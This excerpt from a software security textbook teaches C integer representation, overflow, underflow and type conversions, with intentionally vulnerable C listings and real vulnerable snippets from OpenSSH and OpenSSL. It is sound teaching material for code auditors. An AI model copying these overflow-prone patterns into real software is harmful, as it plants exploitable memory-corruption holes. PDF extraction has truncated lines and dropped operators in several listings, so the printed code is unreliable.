twos complement 8-bit signed integer has 7 value bits and 1 sign bit. It can represent the positive values 0 to 127 in the 7 value bits. All negative values represented with twos complement encoding require the sign bit to be set. The values from -128 to -1 can be represented in the value bits when the sign bit is set, thus allowing the 8-bit signed integer to represent -128 to 127. For arithmetic, the sign bit is placed in the most significant bit of the data type. In general, a signed twos complement number of width X can represent the range of integers from -2X-1 to 2X-1-1. Table 6-1 shows the typical ranges of twos complement integers of varying sizes. Table 6-1. Maximum and Minimum Values for Integers 8-bit 16-bit 32-bit 64-bit Minimum value (signed) -128 -32768 -2147483648 -9223372036854775808 Maximum value (signed) 127 32767 2147483647 9223372036854775807 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 221 Table 6-1. Maximum and Minimum Values for Integers 8-bit 16-bit 32-bit 64-bit Minimum value (unsigned) 0 0 0 0 Maximum value (unsigned) 255 65535 4294967295 18446744073709551615 As described previously, you negate a twos complement number by inverting all the bits and adding one. Listing 6-1 shows how you obtain the representation of -15 by inverting the number 15, and then how you figure out the value of an unknown negative bit pattern. Listing 6-1. Twos Complement Representation of -15 0000 1111 binary representation for 15 1111 0000 invert all the bits 0000 0001 add one 1111 0001 twos complement representation for -15 1101 0110 unknown negative number 0010 1001 invert all the bits 0000 0001 add one 0010 1010 twos complement representation for 42 original number was -42 Byte Order There are two conventions for ordering bytes in modern architectures: big endian and little endian. These conventions apply to data types larger than 1 byte, such as a short int or an int. In the big-endian architecture, the bytes are located in memory starting with the most significant byte and ending with the least significant byte. Little-endian architectures, however, start with the least significant byte and end with the most significant. For example, you have a 4-byte integer with the decimal value 12345. In binary, it's 11000000111001. This integer is located at address 500. On a big-endian machine, it's represented in memory as the following: Address 500: 00000000 Address 501: 00000000 Address 502: 00110000 Address 503: 00111001 On a little-endian machine, however, it's represented this way: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 222 Address 500: 00111001 Address 501: 00110000 Address 502: 00000000 Address 503: 00000000 Intel machines are little endian, but RISC machines, such as SPARC, tend to be big endian. Some machines are capable of dealing with both encodings natively. Common Implementations Practically speaking, if you're talking about a modern, 32-bit, twos complement machine, what can you say about C's basic types and their representations? In general, none of the integer types have any padding bits, so you don't need to worry about that. Everything is going to use twos complement representation. Bytes are going to be 8 bits long. Byte order varies; it's little endian on Intel machines but more likely to be big endian on RISC machines. The char type is likely to be signed by default and take up 1 byte. The short type takes 2 bytes, and int takes 4 bytes. The long type is also 4 bytes, and long long is 8 bytes. Because you know integers are twos complement encoded and you know their underlying sizes, determining their minimum and maximum values is easy. Table 6-2 summarizes the typical sizes for ranges of integer data types on a 32-bit machine. Table 6-2. Typical Sizes and Ranges for Integer Types on 32-Bit Platforms Type Width (in Bits) Minimum Value Maximum Value signed char 8 -128 127 unsigned char 8 0 255 short 16 -32,768 32,767 unsigned short 16 0 65,535 Int 32 -2,147,483,648 2,147,483,647 unsigned int 32 0 4,294,967,295 long 32 -2,147,483,648 2,147,483,647 unsigned long 32 0 4,294,967,295 long long 64 -9,223,372,036,854,775,808 9,223,372,036,854,775,807 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 223 Table 6-2. Typical Sizes and Ranges for Integer Types on 32-Bit Platforms Type Width (in Bits) Minimum Value Maximum Value unsigned long long 64 0 18,446,744,073,709,551,615 What can you expect in the near future as 64-bit systems become more prevalent? The following list describes a few type systems that are in use today or have been proposed:  ILP32 int, long, and pointer are all 32 bits, the current standard for most 32-bit computers.  ILP32LL int, long, and pointer are all 32 bits, and a new typelong longis 64 bits. The long long type is new to C99. It gives C a type that has a minimum width of 64 bits but doesn't change any of the language's fundamentals.  LP64 long and pointer are 64 bits, so the pointer and long types have changed from 32-bit to 64-bit values.  ILP64 int, long, and pointer are all 64 bits. The int type has been changed to a 64-bit type, which has fairly significant implications for the language.  LLP64 pointers and the new long long type are 64 bits. The int and long types remain 32-bit data types. Table 6-3 summarizes these type systems briefly. Table 6-3. 64-Bit Integer Type Systems Type ILP32 ILP32LL LP64 ILP64 LLP64 char 8 8 8 8 8 short 16 16 16 16 16 int 32 32 32 64 32 long 32 32 64 64 32 long long N/A 64 64 64 64 pointer 32 32 64 64 64 As you can see, the typical data type sizes match the ILP32LL model, which is what most compilers adhere to on 32-bit platforms. The LP64 model is the de facto standard for compilers that generate code for 64-bit platforms. As you learn later in this chapter, the int type is a basic unit for the C language; many things are converted to and from it behind the scenes. Because the int data type is relied on so heavily for The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 224 expression evaluations, the LP64 model is an ideal choice for 64-bit systems because it doesn't change the int data type; as a result, it largely preserves the expected C type conversion behavior. 7.2.4 Arithmetic Boundary Conditions You've learned that C's basic integer types have minimum and maximum possible values determined by their underlying representation in memory. (Typical ranges for 32-bit twos complement architectures were presented in Table 6-2(? [????.]).) So, now you can explore what can happen when you attempt to traverse these boundaries. Simple arithmetic on a variable, such as addition, subtraction, or multiplication, can result in a value that can't be held in that variable. Take a look at this example: unsigned int a; a=0xe0000020; a= You know that a can hold a value of 0xE0000020 without a problem; Table 6-2(? [????.]) lists the maximum value of an unsigned 32-bit variable as 4,294,967,295, or 0xFFFFFFFF. However, when 0x20000020 is added to 0xE0000000, the result, 0x100000040, can't be held in a. When an arithmetic operation results in a value higher than the maximum possible representable value, it's called a numeric overflow condition. Here's a slightly different example: unsigned int a; a=0; a= The programmer subtracts 1 from a, which has an initial value of 0. The resulting value, -1, can't be held in a because it's below the minimum possible value of 0. This result is known as a numeric underflow condition. Note Numeric overflow conditions are also referred to in secure-programming literature as numeric overflows, arithmetic overflows, integer overflows, or integer wrapping. Numeric underflow conditions can be referred to as numeric underflows, arithmetic underflows, integer underflows, or integer wrapping. Specifically, the terms "wrapping around a value" or "wrapping below zero" might be used. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 225 Although these conditions might seem as though they would be infrequent or inconsequential in real code, they actually occur quite often, and their impact can be quite severe from a security perspective. The incorrect result of an arithmetic operation can undermine the application's integrity and often result in a compromise of its security. A numeric overflow or underflow that occurs early in a block of code can lead to a subtle series of cascading faults; not only is the result of a single arithmetic operation tainted, but every subsequent operation using that tainted result introduces a point where an attacker might have unexpected influence. Note Although numeric wrapping is common in most programming languages, it's a particular problem in C/C++ programs because C requires programmers to perform low-level tasks that more abstracted high-level languages handle automatically. These tasks, such as dynamic memory allocation and buffer length tracking, often require arithmetic that might be vulnerable. Attackers commonly leverage arithmetic boundary conditions by manipulating a length calculation so that an insufficient amount of memory is allocated. If this happens, the program later runs the risk of manipulating memory outside the bounds of the allocated space, which often leads to an exploitable situation. Another common attack technique is bypassing a length check that protects sensitive operations, such as memory copies. This chapter offers several examples of how underflow and overflow conditions lead to exploitable vulnerabilities. In general, auditors should be mindful of arithmetic boundary conditions when reviewing code and be sure to consider the possible implications of the subtle, cascading nature of these flaws. In the following sections, you look at arithmetic boundary conditions affecting unsigned integers and then examine signed integers. Warning An effort has been made to use int and unsigned int types in examples to avoid code that's affected by C's default type promotions. This topic is covered in "Type Conversions(? [????.])" later in the chapter, but for now, note that whenever you use a char or short in an arithmetic expression in C, it's converted to an int before the arithmetic is performed. Unsigned Integer Boundaries The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 226 Unsigned integers are defined in the C specification as being subject to the rules of modular arithmetic (see the "Modular Arithmetic" sidebar). For an unsigned integer that uses X bits of storage, arithmetic on that integer is performed modulo 2X. For example, arithmetic on a 8-bit unsigned integer is performed modulo 28, or modulo 256. Take another look at this simple expression: unsigned int a; a=0xE0000020; a= The addition is performed modulo 232, or modulo 4,294,967,296 (0x100000000). The result of the addition is 0x40, which is (0xE0000020 + 0x20000020) modulo 0x100000000. Another way to conceptualize it is to consider the extra bits of the result of a numeric overflow as being truncated. If you do the calculation 0xE0000020 + 0x20000020 in binary, you would have the following: 1110 0000 0000 0000 0000 0000 0010 0000 + 0010 0000 0000 0000 0000 0000 0010 0000 = 1 0000 0000 0000 0000 0000 0000 0100 0000 The result you actually get in a is 0x40, which has a binary representation of 0000 0000 0000 0000 0000 0000 0100 0000. Modular Arithmetic Modular arithmetic is a system of arithmetic used heavily in computer science. The expression "X modulo Y" means "the remainder of X divided by Y." For example, 100 modulo 11 is 1 because when 100 is divided by 11, the answer is 9 and the remainder is 1. The modulus operator in C is written as %. So in C, the expression (100 % 11) evaluates to 1, and the expression (100 / 11) evaluates to 9. Modular arithmetic is useful for making sure a number is bounded within a certain range, and you often see it used for this purpose in hash tables. To explain, when you have X modulo Y, and X and Y are positive numbers, you know that the highest possible result is Y-1 and the lowest is 0. If you have a hash table of 100 buckets, and you need to map a hash to one of the buckets, you could do this: struct bucket *buckets[100]; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 227 ... bucket = buckets[hash % 100]; To see how modular arithmetic works, look at a simple loop: for (i=0; i<20; i++) printf("%d ", i % 6); printf("\n"); The expression (i % 6) essentially bounds i to the range 0 to 5. As the program runs, it prints the following: 0 1 2 3 4 5 0 1 2 3 4 5 0 1 2 3 4 5 0 1 You can see that as i advanced from 0 to 19, i % 6 also advanced, but it wrapped back around to 0 every time it hit its maximum value of 5. As you move forward through the value, you wrap around the maximum value of 5. If you move backward through the values, you wrap "under" 0 to the maximum value of 5. You can see that it's the same as the result of the addition but without the highest bit. This isn't far from what's happening at the machine level. For example, Intel architectures have a carry flag (CF) that holds this highest bit. C doesn't have a mechanism for allowing access to this flag, but depending on the underlying architecture, it could be checked via assembly code. Here's an example of a numeric overflow condition that occurs because of multiplication: unsigned int a; a=0xe0000020; a= Again, the arithmetic is performed modulo 0x100000000. The result of the multiplication is 0xC0000840, which is (0xE0000020 * 0x42) modulo 0x100000000. Here it is in binary: 1110 0000 0000 0000 0000 0000 0010 0000 * 0000 0000 0000 0000 0000 0000 0100 0010 = 11 1001 1100 0000 0000 0000 0000 1000 0100 0000 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 228 The result you actually get in a, 0xC0000840, has a binary representation of 1100 0000 0000 0000 0000 1000 0100 0000. Again, you can see how the higher bits that didn't fit into the result were effectively truncated. At a machine level, often it's possible to detect an overflow with integer multiplication as well as recover the high bits of a multiplication. For example, on Intel the imul instruction uses a destination object that's twice the size of the source operands when multiplying, and it sets the flags OF (overflow) and CF (carry) if the result of the multiplication requires a width greater than the source operand. Some code even uses inline assembly to check for numeric overflow (discussed in the "Multiplication Overflows on Intel" sidebar later in this chapter). You've seen examples of how arithmetic overflows could occur because of addition and multiplication. Another operator that can cause overflows is left shift, which, for this discussion, can be thought of as multiplication with 2. It behaves much the same as multiplication, so an example hasn't been provided. Now, you can look at some security exposures related to numeric overflow of unsigned integers. Listing 6-2 is a sanitized, edited version of an exploitable condition found recently in a client's code. Listing 6-2. Integer Overflow Example u_char *make_table(unsigned int width, unsigned int height, u_char *init_row) { unsigned int n; int i; u_char *buf; n = width * height; buf = (char *)malloc(n); if (!buf) return (NULL); for (i=0; i< height; i++) memcpy(&buf[i*width], init_row, width); return buf; } The purpose of the make_table() function is to take a width, a height, and an initial row and create a table in memory where each row is initialized to have the same The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 229 contents as init_row. Assume that users have control over the dimensions of the new table: width and height. If they specify large dimensions, such as a width of 1,000,000, and a height of 3,000, the function attempts to call malloc() for 3,000,000,000 bytes. The allocation likely fails, and the calling function detects the error and handles it gracefully. However, users can cause an arithmetic overflow in the multiplication of width and height if they make the dimensions just a bit larger. This overflow is potentially exploitable because the allocation is done by multiplying width and height, but the actual array initialization is done with a for loop. So if users specify a width of 0x400 and a height of 0x1000001, the result of the multiplication is 0x400000400. This value, modulo 0x100000000, is 0x00000400, or 1024. So 1024 bytes would be allocated, but then the for loop would copy init_row roughly 16 million too many times. A clever attacker might be able to leverage this overflow to take control of the application, depending on the low-level details of the process's runtime environment. Take a look at a real-world vulnerability that's similar to the previous example, found in the OpenSSH server. Listing 6-3 is from the OpenSSH 3.1 challenge-response authentication code: auth2-chall.c in the input_userauth_info_response() function. Listing 6-3. Challenge-Response Integer Overflow Example in OpenSSH 3.1 u_int nresp; ... nresp = packet_get_int(); if (nresp > 0) { response = xmalloc(nresp * sizeof(char*)); for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL); } packet_check_eom(); The nresp unsigned integer is user controlled, and its purpose is to tell the server how many responses to expect. It's used to allocate the response[] array and fill it with network data. During the allocation of the response[] array in the call to xmalloc(), nresp is multiplied by sizeof(char *), which is typically 4 bytes. If users specify an nresp value that's large enough, a numeric overflow could occur, and the result of the multiplication could end up being a small number. For example, if nresp has a value of 0x40000020, the result of the multiplication with 4 is 0x80. Therefore, 0x80 bytes are allocated, but the following for loop attempts to retrieve 0x40000020 strings from the packet! This turned out to be a critical remotely exploitable vulnerability. Now turn your attention to numeric underflows. With unsigned integers, subtractions can cause a value to wrap under the minimum representable value of 0. The result of The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 230 an underflow is typically a large positive number because of the modulus nature of unsigned integers. Here's a brief example: unsigned int a; a=0x10; a= Look at the calculation in binary: 0000 0000 0000 0000 0000 0000 0001 0000 - 0000 0000 0000 0000 0000 0000 0011 0000 = 1111 1111 1111 1111 1111 1111 1110 0000 The result you get in a is the bit pattern for 0xffffffe0, which in twos complement representation is the correct negative value of -0x20. Recall that in modulus arithmetic, if you advance past the maximum possible value, you wrap around to 0. A similar phenomenon occurs if you go below the minimum possible value: You wrap around to the highest possible value. Since a is an unsigned int type, it has a value of 0xffffffe0 instead of -0x20 after the subtraction. Listing 6-4 is an example of a numeric underflow involving an unsigned integer. Listing 6-4. Unsigned Integer Underflow Example struct header { unsigned int length; unsigned int message_type; }; char *read_packet(int sockfd) { int n; unsigned int length; struct header hdr; static char buffer[1024]; if(full_read(sockfd, (void *)&hdr, sizeof(hdr))<=0){ error("full_read: %m"); return NULL; } length = ntohl(hdr.length); if(length > (1024 + sizeof (struct header) - 1)){ The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 231 error("not enough room in buffer\n"); return NULL; } if(full_read(sockfd, buffer, length sizeof(struct header))<=0) { error("read: %m"); return NULL; } buffer[sizeof(buffer)-1] = '\0'; return strdup(buffer); } This code reads a packet header from the network and extracts a 32-bit length field into the length variable. The length variable represents the total number of bytes in the packet, so the program first checks that the data portion of the packet isn't longer than 1024 bytes to prevent an overflow. It then tries to read the rest of the packet from the network by reading (length sizeof(struct header)) bytes into buffer. This makes sense, as the code wants to read in the packet's data portion, which is the total length minus the length of the header. The vulnerability is that if users supply a length less than sizeof(struct header), the subtraction of (length sizeof(struct header)) causes an integer underflow and ends up passing a very large size parameter to full_read(). This error could result in a buffer overflow because at that point, read() would essentially copy data into the buffer until the connection is closed, which would allow attackers to take control of the process. Multiplication Overflows on Intel Generally, processors detect when an integer overflow occurs and provide mechanisms for dealing with it; however, they are seldom used for error checking and generally aren't accessible from C. For example, Intel processors set the overflow flag (OF) in the EFLAGS register when a multiplication causes an overflow, but a C programmer can't check that flag without using inline assembler. Sometimes this is done for security reasons, such as the NDR unmarshalling routines for handling MSRPC requests in Windows operating systems. The following code, taken from rpcrt4.dll, is The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 232 called when unmarshalling various data types from RPC requests: sub_77D6B6D4 proc near var_of = dword ptr -4 arg_count = dword ptr 8 arg_length = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_of], 0 ; set overflow flag to 0 push esi mov esi, [ebp+arg_length] imul esi, [ebp+arg_count] ; multiply length * count jno short check_of mov [ebp+var_of], 1 ; if of set, set out flag check_of: cmp [ebp+var_of], 0 jnz short raise_ex ; must not overflow cmp esi, 7FFFFFFFh jbe short return ; must be a positive int raise_ex: push 6C6h ; exception call RpcRaiseException return: mov eax, esi ; return result pop esi leave retn 8 You can see that this function, which multiplies the number of provided elements with the size of each element, does two sanity checks. First, it uses jno to check the overflow flag to make sure the multiplication didn't overflow. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 233 Then it makes sure the resulting size is less than or equal to the maximum representable value of a signed integer, 0x7FFFFFFF. If either check fails, the function raises an exception. Signed Integer Boundaries Signed integers are a slightly different animal. According to the C specifications, the result of an arithmetic overflow or underflow with a signed integer is implementation defined and could potentially include a machine trap or fault. However, on most common architectures, the results of signed arithmetic overflows are well defined and predictable and don't result in any kind of exception. These boundary behaviors are a natural consequence of how twos complement arithmetic is implemented at the hardware level, and they should be consistent on mainstream machines. If you recall, the maximum positive value that can be represented in a twos complement signed integer is one in which all bits are set to 1 except the most significant bit, which is 0. This is because the highest bit indicates the sign of the number, and a value of 1 in that bit indicates that the number is negative. When an operation on a signed integer causes an arithmetic overflow or underflow to occur, the resulting value "wraps around the sign boundary" and typically causes a change in sign. For example, in a 32-bit integer, the value 0x7FFFFFFF is a large positive number. Adding 1 to it produces the result 0x80000000, which is a large negative number. Take a look at another simple example: int a; a=0x7FFFFFF0; a= The result of the addition is -0x7fffff10, or -2,147,483,408. Now look at the calculation in binary: 0111 1111 1111 1111 1111 1111 1111 0000 + 0000 0000 0000 0000 0000 0001 0000 0000 = 1000 0000 0000 0000 0000 0000 1111 0000 The result you get in a is the bit pattern for 0x800000f0, which is the correct result of the addition, but because it's interpreted as a twos complement number, the value is actually interpreted as -0x7fffff10. In this case, a large positive number plus a small positive number resulted in a large negative number. With signed addition, you can overflow the sign boundary by causing a positive number to wrap around 0x80000000 and become a negative number. You can also The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 234 underflow the sign boundary by causing a negative number to wrap below 0x80000000 and become a positive number. Subtraction is identical to addition with a negative number, so you can analyze them as being essentially the same operation. Overflows during multiplication and shifting are also possible, and classifying their results isn't as easy. Essentially, the bits fall as they may; if a bit happens to end up in the sign bit of the result, the result is negative. Otherwise, it's not. Arithmetic overflows involving multiplication seem a little tricky at first glance, but attackers can usually make them return useful, targeted values. Note Throughout this chapter, the read() function is used to demonstrate various forms of integer-related flaws. This is a bit of an oversimplification for the purposes of clarity, as many modern systems validate the length argument to read() at the system call level. These systems, which include BSDs and the newer Linux 2.6 kernel, check that this argument is less than or equal to the maximum value of a correspondingly sized signed integer, thus minimizing the risk of memory corruption. Certain unexpected sign changes in arithmetic can lead to subtly exploitable conditions in code. These changes can cause programs to calculate space requirements incorrectly, leading to conditions similar to those that occur when crossing the maximum boundary for unsigned integers. Bugs of this nature typically occur in applications that perform arithmetic on integers taken directly from external sources, such as network data or files. Listing 6-5 is a simple example that shows how crossing the sign boundary can adversely affect an application. Listing 6-5. Signed Integer Vulnerability Example char *read_data(int sockfd) { char *buf; int length = network_get_int(sockfd); if(!(buf = (char *)malloc(MAXCHARS))) die("malloc: %m"); if(length < 0 || length + 1 >= MAXCHARS){ free(buf); die("bad length: %d", value); } if(read(sockfd, buf, length) <= 0){ free(buf); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 235 die("read: %m"); } buf[value] = '\0'; return buf; } This example reads an integer from the network and performs some sanity checks on it. First, the length is checked to ensure that it's greater than or equal to zero and, therefore, positive. Then the length is checked to ensure that it's less than MAXCHARS. However, in the second part of the length check, 1 is added to the length. This opens an attack vector: A value of 0x7FFFFFFF passes the first check (because it's greater than 0) and passes the second length check (as 0x7FFFFFFF + 1 is 0x80000000, which is a negative value). read() would then be called with an effectively unbounded length argument, leading to a potential buffer overflow situation. This kind of mistake is easy to make when dealing with signed integers, and it can be equally challenging to spot. Protocols that allow users to specify integers directly are especially prone to this type of vulnerability. To examine this in practice, take a look at a real application that performs an unsafe calculation. The following vulnerability was in the OpenSSL 0.9.6 codebase related to processing Abstract Syntax Notation (ASN.1) encoded data. (ASN.1 is a language used for describing arbitrary messages to be sent between computers, which are encoded using BER, its basic encoding rules.) This encoding is a perfect candidate for a vulnerability of this nature because the protocol deals explicitly with 32-bit integers supplied by untrusted clients. Listing 6-6 is taken from crypto/asn1/a_d2i_fp.cthe ASN1_d2i_fp() function, which is responsible for reading ASN.1 objects from buffered IO (BIO) streams. This code has been edited for brevity. Listing 6-6. Integer Sign Boundary Vulnerability Example in OpenSSL 0.9.6l c.inf=ASN1_get_object(&(c.p),&(c.slen),&(c.tag),&(c.xclass), len-off); ... { /* suck in c.slen bytes of data */ want=(int)c.slen; if (want > (len-off)) { want-=(len-off); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 236 if (!BUF_MEM_grow(b,len+want)) { ASN1err(ASN1_F_ASN1_D2I_BIO, ERR_R_MALLOC_FAILURE); goto err; } i=want); This code is called in a loop for retrieving ASN.1 objects. The ASN1_get_object() function reads an object header that specifies the length of the next ASN.1 object. This length is placed in the signed integer c.slen, which is then assigned to want. The ASN.1 object function ensures that this number isn't negative, so the highest value that can be placed in c.slen is 0x7FFFFFFF. At this point, len is the amount of data already read in to memory, and off is the offset in that data to the object being parsed. So, (len-off) is the amount of data read into memory that hasn't yet been processed by the parser. If the code sees that the object is larger than the available unparsed data, it decides to allocate more space and read in the rest of the object. The BUF_MEM_grow() function is called to allocate the required space in the memory buffer b; its second argument is a size parameter. The problem is that the len+want expression used for the second argument can be overflowed. Say that upon entering this code, len is 200 bytes, and off is 50. The attacker specifies an object size of 0x7FFFFFFF, which ends up in want. 0x7FFFFFFF is certainly larger than the 150 bytes of remaining data in memory, so the allocation code will be entered. want will be subtracted by 150 to reflect the amount of data already read in, giving it a value of 0x7FFFFF69. The call to BUF_MEM_grow() will ask for len+want bytes, or 0x7FFFFF69 + 200. This is 0x80000031, which is interpreted as a large negative number. Internally, the BUF_MEM_grow() function does a comparison to check its length argument against how much space it has previously allocated. Because a negative number is less than the amount of memory it has already allocated, it assumes everything is fine. So the reallocation is bypassed, and arbitrary amounts of data can be copied into allocated heap data, with severe consequences. 7.2.5 Type Conversions C is extremely flexible in handling the interaction of different data types. For example, with a few casts, you can easily multiply an unsigned character with a signed long integer, add it to a character pointer, and then pass the result to a function expecting a pointer to a structure. Programmers are used to this flexibility, so they tend to mix data types without worrying too much about what's going on behind the scenes. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 237 To deal with this flexibility, when the compiler needs to convert an object of one type into another type, it performs what's known as a type conversion. There are two forms of type conversions: explicit type conversions, in which the programmer explicitly instructs the compiler to convert from one type to another by casting, and implicit type conversions, in which the compiler does "hidden" transformations of variables to make the program function as expected. Note You might see type conversions referred to as "type coercions" in programming-language literature; the terms are synonymous. Often it's surprising when you first learn how many implicit conversions occur behind the scenes in a typical C program. These automatic type conversions, known collectively as the default type conversions, occur almost magically when a programmer performs seemingly straightforward tasks, such as making a function call or comparing two numbers. The vulnerabilities resulting from type conversions are often fascinating, because they can be subtle and difficult to locate in source code, and they often lead to situations in which the patch for a critical remote vulnerability is as simple as changing a char to an unsigned char. The rules governing these conversions are deceptively subtle, and it's easy to believe you have a solid grasp of them and yet miss an important nuance that makes a world of difference when you analyze or write code. Instead of jumping right into known vulnerability classes, first you look at how C compilers perform type conversions at a low level, and then you study the rules of C in detail to learn about all the situations in which conversions take place. This section is fairly long because you have to cover a lot of ground before you have the foundation to analyze C's type conversions with confidence. However, this aspect of the language is subtle enough that it's definitely worth taking the time to gain a solid understanding of the ground rules; you can leverage this understanding to find vulnerabilities that most programmers aren't aware of, even at a conceptual level. Overview When faced with the general problem of reconciling two different types, C goes to great lengths to avoid surprising programmers. The compilers follow a set of rules that attempt to encapsulate "common sense" about how to manage mixing different types, and more often than not, the result is a program that makes sense and simply does what the programmer intended. That said, applying these rules can often lead to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 238 surprising, unexpected behaviors. Moreover, as you might expect, these unexpected behaviors tend to have dire security consequences. You start in the next section by exploring the conversion rules, the general rules C uses when converting between types. They dictate how a machine converts from one type to another type at the bit level. After you have a good grasp of how C converts between different types at the machine level, you examine how the compiler chooses which type conversions to apply in the context of C expressions, which involves three important concepts: simple conversions, integer promotions, and usual arithmetic conversions. Note Although non-integer types, such as floats and pointers, have some coverage, the primary focus of this discussion is on how C manipulates integers because these conversions are widely misunderstood and are critical for security analysis. Conversion Rules The following rules describe how C converts from one type to another, but they don't describe when conversions are performed or why they are performed. Note The following content is specific to twos complement implementations and represents a distilled and pragmatic version of the rules in the C specification. Integer Types: Value Preservation An important concept in integer type conversions is the notion of a value-preserving conversion. Basically, if the new type can represent all possible values of the old type, the conversion is said to be value-preserving. In this situation, there's no way the value can be lost or changed as a result of the conversion. For example, if an unsigned char is converted into an int, the conversion is value-preserving because an int can represent all of the values of an unsigned char. You can verify this by referring to Table 6-2(? [????.]) again. Assuming you're considering a twos complement machine, you know that an 8-bit unsigned char can represent any value between 0 and 255. You know that a 32-bit int can represent any value between -2147483648 and 2147483647. Therefore, there's no value the unsigned char can have that the int can't represent. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 239 Correspondingly, in a value-changing conversion, the old type can contain values that can't be represented in the new type. For example, if you convert an int into an unsigned int, you have potentially created an intractable situation. The unsigned int, on a 32-bit machine, has a range of 0 to 4294967295, and the int has a range of -2147483648 to 2147483647. The unsigned int can't hold any of the negative values a signed int can represent. According to the C standard, some of the value-changing conversions have implementation-defined results. This is true only for value-changing conversions that have a signed destination type; value-changing conversions to an unsigned type are defined and consistent across all implementations. (If you recall from the boundary condition discussion, this is because unsigned arithmetic is defined as a modulus arithmetic system.) Twos complement machines follow the same basic behaviors, so you can explain how they perform value-changing conversions to signed destination types with a fair amount of confidence. Integer Types: Widening When you convert from a narrow type to a wider type, the machine typically copies the bit pattern from the old variable to the new variable, and then sets all the remaining high bits in the new variable to 0 or 1. If the source type is unsigned, the machine uses zero extension, in which it propagates the value 0 to all high bits in the new wider type. If the source type is signed, the machine uses sign extension, in which it propagates the sign bit from the source type to all unused bits in the destination type. Warning The widening procedure might have some unexpected implications: If a narrow signed type, such as signed char, is converted to a wider unsigned type, such as unsigned int, sign extension occurs. Figure 6-1 shows a value-preserving conversion of an unsigned char with a value of 5 to a signed int. Figure 6-1. Conversion of unsigned char to int (zero extension, big endian) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 240 The character is placed into the integer, and the value is preserved. At the bit pattern level, this simply involved zero extension: clearing out the high bits and moving the least significant byte (LSB) into the new object's LSB. Now consider a signed char being converted into a int. A int can represent all the values of a signed char, so this conversion is also value-preserving. Figure 6-2 shows what this conversion looks like at the bit level. Figure 6-2. Conversion of signed char to integer (sign extension, big endian) This situation is slightly different, as the value is the same, but the transformation is more involved. The bit representation of -5 in a signed char is 1111 1011. The bit representation of -5 in an int is 1111 1111 1111 1111 1111 1111 1111 1011. To do the conversion, the compiler generates assembly that performs sign extension. You can see in Figure 6-2 that the sign bit is set in the signed char, so to preserve the value -5, the sign bit has to be copied to the other 24 bits of the int. The previous examples are value-preserving conversions. Now consider a value-changing widening conversion. Say you convert a signed char with a value of -5 to an unsigned int. Because the source type is signed, you perform sign extension on the signed char before placing it in the unsigned int (see Figure 6-3). Figure 6-3. Conversion of signed char to unsigned integer (sign extension, big endian) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 241 As mentioned previously, this result can be surprising to developers. You explore its security ramifications in "Sign Extension(? [????.])" later in this chapter. This conversion is value changing because an unsigned int can't represent values less than 0. Integer Types: Narrowing When converting from a wider type to a narrower type, the machine uses only one mechanism: truncation. The bits from the wider type that don't fit in the new narrower type are dropped. Figures 6-4 and 6-5 show two narrowing conversions. Note that all narrowing conversions are value-changing because you're losing precision. Figure 6-4. Conversion of integer to unsigned short integer (truncation, big endian) Figure 6-5. Conversion of integer to signed char (truncation, big endian) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 242 Integer Types: Signed and Unsigned One final type of integer conversion to consider: If a conversion occurs between a signed type and an unsigned type of the same width, nothing is changed in the bit pattern. This conversion is value-changing. For example, say you have the signed integer -1, which is represented in binary as 1111 1111 1111 1111 1111 1111 1111 1111. If you interpret this same bit pattern as an unsigned integer, you see a value of 4,294,967,295. The conversion is summarized in Figure 6-6. The conversion from unsigned int to int technically might be implementation defined, but it works in the same fashion: The bit pattern is left alone, and the value is interpreted in the context of the new type (see Figure 6-7). Figure 6-6. Conversion of int to unsigned int (big endian) Figure 6-7. Conversion of unsigned int to signed int (big endian) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 243 Integer Type Conversion Summary Here are some practical rules of thumb for integer type conversions:  When you convert from a narrower signed type to a wider unsigned type, the compiler emits assembly to do sign extension, and the value of the object might change.  When you convert from a narrower signed type to a wider signed type, the compiler emits assembly to do sign extension, and the value of the object is preserved.  When you convert from a narrower unsigned type to a wider type, the compiler emits assembly to do zero extension, and the value of the object is preserved.  When you convert from a wider type to a narrower type, the compiler emits assembly to do truncation, and the value of the object might change.  When you convert between signed and unsigned types of the same width, the compiler effectively does nothing, the bit pattern stays the same, and the value of the object might change. Table 6-4 summarizes the processing that occurs when different integer types are converted in twos complement implementations of C. As you cover the information in the following sections, this table can serve as a useful reference for recalling how a conversion occurs. Table 6-4. Integer Type Conversion in C (Source on Left, Destination on Top) signed char unsigne d char short int Unsigne d short int int unsigne d int signed char Compatible types Value changing Bit pattern Value preserving Sign extension Value changing Sign extensio Value preserving Sign extension Value changing Sign extensio The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 244 Table 6-4. Integer Type Conversion in C (Source on Left, Destination on Top) signed char unsigne d char short int Unsigne d short int int unsigne d int same n n unsign ed char Value changing Bit pattern same Implementat ion defined Compati ble types Value preserving Zero extension Value preservi ng Zero extensio n Value preserving Zero extension Value preservi ng Zero extensio n short int Value changing Truncation Implementat ion defined Value changing Truncati on Compatible types Value changing Bit pattern same Value changing Sign extension Value changing Sign extensio n unsign ed short int Value changing Truncation Implementat ion defined Value changing Truncati on Value changing Bit pattern same Implementat ion defined Compati ble types Value preserving Zero extension Value preservi ng Zero extensio n Int 